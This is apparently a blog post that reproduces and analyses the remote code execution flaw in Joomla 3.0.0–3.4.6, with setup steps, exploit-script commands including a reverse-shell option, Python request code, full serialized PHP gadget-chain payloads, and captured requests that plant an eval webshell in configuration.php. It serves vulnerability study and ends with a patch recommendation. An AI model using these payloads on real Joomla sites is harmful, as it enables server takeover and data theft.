Joomla-3.4.6 remote code execution vulnerability exploitation and analysis

0x01 Joomla introduction

Joomla! is a set of free and open source content management system, written in PHP, used to publish content on the World Wide Web and intranet, usually used to build commercial websites, personal blogs, information management systems, Web services, etc., but also Carry out secondary development to expand the scope of use. Currently the latest version 3.9.11, Joomla! is a set of free open source software, licensed under GPL, anyone can download Joomla! and use it at any time.

Introduction to 0x02 Vulnerability

In exploit-db (https://www.exploit-db.com/exploits/47465), the EXP executed by the Joomla command is released. The essence of the vulnerability is that Joomla improperly handles session data. Unauthorized attackers can send carefully constructed Malicious HTTP request to realize remote command execution and obtain server permissions.

0x03 Scope of influence

Joomla 3.0.0 to 3.4.6

0x04 Joomla environment construction

1. Just use phpstudy integrated environment to build

Download joomla 3.4.6
Joomla download address: https://downloads.joomla.org/it/cms/joomla3/3-4-6 

After the download is complete, drag it to the WWW root directory, visit: http://127.0.0.1/joomla (the directory you installed), it will automatically jump to the following installation interface, just follow the prompts to install!

Fill in the relevant information and click Next

After deleting the installation directory, click on the website, or visit: http://127.0.0.1/joomla (your installation directory), you can visit

The visit is successful, and the blog version of Joomla 3.4.6 has been built.

0x05 EXPdownload and exploit

The download address is recommended, of course, you can also download it yourself:
https://github.com/ianxtianxt/Joomla-3.4.6—configuration.php-Remote-Code-Execution

Use python3 to execute the downloaded py script, ps: I renamed the script name here. Input:
python3 Joomla-3.4.6-RCE.py -h, check the command parameters, but find that the relevant pip is missing, start to install the library, continue to operate

How to use EXP

Scope of influence: 3.0.0-3.4.6 1. Vulnerability verification

python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla

Display "Vulnerable" proves that there is a vulnerability

python3 test.py -t http://127.0.0.1/joomla –exploit –lhost vps –lport port

execution succeed

And write a word Trojan horse with a random password in "configuration.php"

Validation vulnerability

python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla/

Exploit

python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla/ -e -l 127.0.0.1 -p 2222

-l target ip, -p + port (can be random, no conflict is enough)

There is no reverse shell here, but you can see the password of the generated horse, as shown in the figure.
Let's see if the configuration.php file really produces a one-sentence Trojan.

One sentence Trojan connection address:

http://127.0.0.1/joomla/configuration.php

Random password: jjdbzbpipkpfjszvromojjwtozscwjimbhfegwfmquhmbtdgum

0x06 vulnerability analysis

Using FREEBUF's vulnerability analysis, the big guy wrote it perfectly:

By reproducing the vulnerability and analyzing the py script, we can know that there are the following steps when uploading the shell. The reason for this manual step is mainly related to the Joomla session mechanism.

1. Get Cookies

Code:

Request packet 1 captured by burpeuite

GET/Joomla/3.4.6/index.php/component/users HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

2. Obtain csrf-token  (key step)

Code:

defget_token(url, cook):
        token =''
        resp = requests.get(url, cookies=cook,proxies = PROXS)
        html =BeautifulSoup(resp.text,'html.parser')
        # csrftoken is the last input
        for v inhtml.find_all('input'):
               csrf = v
        csrf =csrf.get('name')
        returncsrf

Request package 2 captured by burpeuite:

GET/Joomla/3.4.6/index.php/component/users HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: dc674b0eef3d2412c63832504cf5ac18=sfoodgd4m6fj2c1895u5b2tmp6;

Mainly extract csrftoken from the return package

3. Generate payload There are 2 payloads

Backdoor payload

Code:

Use the file_put_contents function that comes with PHP to write the webshell into configuration.php, and the webshell content is as follows:

'if(isset($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']))eval($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']);'

Rebound payload

4. Sending a request with writing to webshell mainly constructs username, password, option, task, csrftoken and other fields

def make_req(url, object_payload):
        # justmake a req with object
       print_info('Getting Session Cookie ..')
        cook = get_cook(url)
       print_info('Getting CSRF Token ..')
        csrf =get_token( url, cook)
 
       user_payload = '\\0\\0\\0' * 9
        padding= 'AAA' # It will land at this padding
       working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
       clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' #working good without bad effects
 
       inj_object = '";'
       inj_object += object_payload
       inj_object += 's:6:"return";s:102:' # end the object with the'return' part
       password_payload = padding + inj_object
        params ={
           'username': user_payload,
           'password': password_payload,
           'option':'com_users',
           'task':'user.login',
            csrf:'1'
            }
 
       print_info('Sending request ..')
       resp  = requests.post(url, proxies= PROXS, cookies = cook,data=params)
        returnresp.text

The following is the request package written to webshell obtained through Burpsuite capture 3

POST/Joomla/3.4.6/index.php/component/users HTTP/1.1Host: 127.0.0.1User-Agent: python-requests/2.22.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeCookie:dc674b0eef3d2412c63832504cf5ac18=bg7tprkie898gu5luh1it52ga3Content-Length: 1136Content-Type: application/x-www-form-urlencodedusername=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3AO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A6%3A%22assert%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A217%3A%22file_put_contents%28%27configuration.php%27%2C%27if%28isset%28%24_POST%5B%5C%27scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay%5C%27%5D%29%29+eval%28%24_POST%5B%5C%27scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay%5C%27%5D%29%3B%27%2C+FILE_APPEND%29+%7C%7C+%24a%3D%27http%3A%2F%2Fwtf%27%3B%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login&03b291424900343c59f58ad131d087a7=1

5. Connect to the webshell to test whether the writing is successful

Request packet 4 captured by burpeuite: 

POST /Joomla/3.4.6//configuration.php HTTP/1.1Host: 127.0.0.1User-Agent: python-requests/2.22.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 70Content-Type: application/x-www-form-urlencodedscgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay=echo+%27PWNED%27%3B

This vulnerability is related to the operating mechanism of the Joomla session. The Joomla session is stored in the database in the form of PHP Objects and processed by the PHP session function. However, since Mysql cannot save Null bytes, the function writes the session to the database and reads it. The meeting object is illegal and overflows due to incorrect size. Because the sessions of unauthenticated users can also be stored, the object injection (Object Injection) can be successfully attacked without login authentication, leading to RCE.

1. overflow

When we perform a POST request in Joomla, there will usually be a 303 redirect that redirects us to the result page. This is an important matter of use, because the first request (including parameters) will only cause Joomla to perform actions and store (for example, call the write() function) the session, and then the 303 redirect will be retrieved (for example, call the read() function) And display the information to the user.

The functions read() and write() defined in the exploit file'libraries/joomla/session/storage/database.php' are set by session_set_save_handler() as'libraries/joomla/session/session.php:__start'session_start() Called read and write handlers.

Since Mysql cannot save Null bytes, the write function of libraries/joomla/session/storage/database.php will replace '002a00' (chr(0)) with ``before storing the data in the database (write function).''. chr(0)), and in the serialized object, the $protected variable is assigned the prefix '002a00'.

 When reading the data in the database, the read function will replace it with '002a00' (NN) to reconstruct the original object.

The main problem with this replacement is that it replaces 6 bytes with 3 bytes. This kind of code has always existed in Joomla 3.0.0 to 3.4.6. Starting from version 3.4.7, the session is stored in the database in base64 encoding.

As mentioned before, we can manipulate the session object by reading and writing action parameters to inject it and it will be replaced by 3 bytes, which causes the object to be illegal due to the incorrect size (different byte length). Cause overflow.

Give a chestnut

For example, in a login form, put'my002a00username' in the username field, and the following objects will be obtained in the database after the write function is processed:

s:8:s:"username";s:16:"my\0\0\0username"

When the session object is read in the read function,'' will be replaced as described above, and the following value will be obtained: s:8:s:"username";s:16:"myN*Nusername"–>no Legal size

The replaced string is only 13 bytes long, but the length of the string of life is still 16 bytes! You can happily use this "overflow" to construct a new object that can implement RCE. After you can control the deserialized object, we only need to construct an execution chain that can be called step by step to perform some dangerous operations. Up. In the Poc exposed this time, the username field is used for overflow, and the password field is used for object injection. If you insert any serialize string, a deserialization vulnerability is constructed. This is similar to the previous vulnerability CVE-2015-8562. .

2. Object injection (deserialization)  (refer to PHITHON's blog for this part) 

The Poc of CVE-2015-8562 is as follows

User-Agent:123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5

{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0

{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}4

In this execution chain, the following classes are used: JDatabaseDriverMysqli and SimplePie

2.1JDatabaseDriverMysqli class

We can find a sensitive operation in the destructor of the JDatabaseDriverMysqli class:

<?php
public function __destruct()
    {
       $this->disconnect();
    }
    ...
    publicfunction disconnect()
    {
        // Closethe connection.
        if($this->connection)
        {
           foreach ($this->disconnectHandlers as $h)
            {
               call_user_func_array($h, array( &$this));
            }
           mysqli_close($this->connection);
        }
       $this->connection = null;
    }

When the exp object is deserialized, it will become a JDatabaseDriverMysqli class object. No matter how it is executed in the middle, it will eventually call __destruct, __destruct will call disconnect, and there is a sensitive function in disconnect.

call_user_func_array。

But obviously, the second parameter of call_user_func_array here is beyond our control. Therefore, assert+eval cannot be constructed directly to execute arbitrary code.

So an object is called again here: SimplePie class object, and its init method form a callback function [new SimplePie(),'init'], and call_user_func_array is passed in.

Follow up the init method:

<?php
function init()
    {
        // Checkabsolute bare minimum requirements.
        if((function_exists('version_compare') && version_compare(PHP_VERSION,'4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
        {
           return false;
        }
        ...
        if($this->feed_url !== null || $this->raw_data !== null)
        {
           $this->data = array();
           $this->multifeed_objects = array();
           $cache = false;
            if($this->feed_url !== null)
            {
               $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
               // Decide whether to enable caching
               if ($this->cache && $parsed_feed_url['scheme'] !== '')
               {
                   $cache = call_user_func(array($this->cache_class, 'create'),$this->cache_location, call_user_func($this->cache_name_function,$this->feed_url), 'spc');

Obviously, these two call_user_func will be the culprit triggering code execution.

Therefore, you can assign the first parameter cache_name_function of the second call_user_func to assert, and assign the second parameter to the code that I need to execute, to construct a "callback backdoor".

2.2SimplePie class 

SimplePie is not defined by default, which is why I created a new JSimplepieFactory before calling SimplePie, because the JSimplepieFactory object will call the import function to import SimplePie into the current working environment when loading:

And JSimplepieFactory has autoload, so no other include is needed to load it.

P cow's Poc

O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð

As mentioned earlier, because the Post request of Joomla's session mechanism will be redirected to the result page by 303, it cannot be echoed. The phpinfo function here does not need to choose to use the file_put_contents function to write a sentence to configuration.php

    file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\']))eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';

The final object is as follows:

AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'ja0k\']))+eval($_POST[\'ja0k\']);',+FILE_APPEND)+||+$a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:

0x07 repair suggestion

Update to the latest version

Official address https://downloads.joomla.org

Code and tool download:

https://github.com/SecurityCN/Vulnerability-analysis/blob/master/Joomla/Joomla3.4.6-RCE

Disclaimer: The exploit Poc and script mentioned in this article are for research and study use only. Please abide by the "Network Security Law" and other relevant laws and regulations.

reference:

[1].https://cxsecurity.com/issue/WLB-2019100045

[2].https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

[3]. https://mp.weixin.qq.com/s/NG0fw-si2BchcKVz5atsdA

Please indicate: Adminxe's Blog  »  Joomla-3.4.6 Remote Code Execution Vulnerability Exploitation and Analysis

Guess you like

Origin blog.csdn.net/Adminxe/article/details/107378832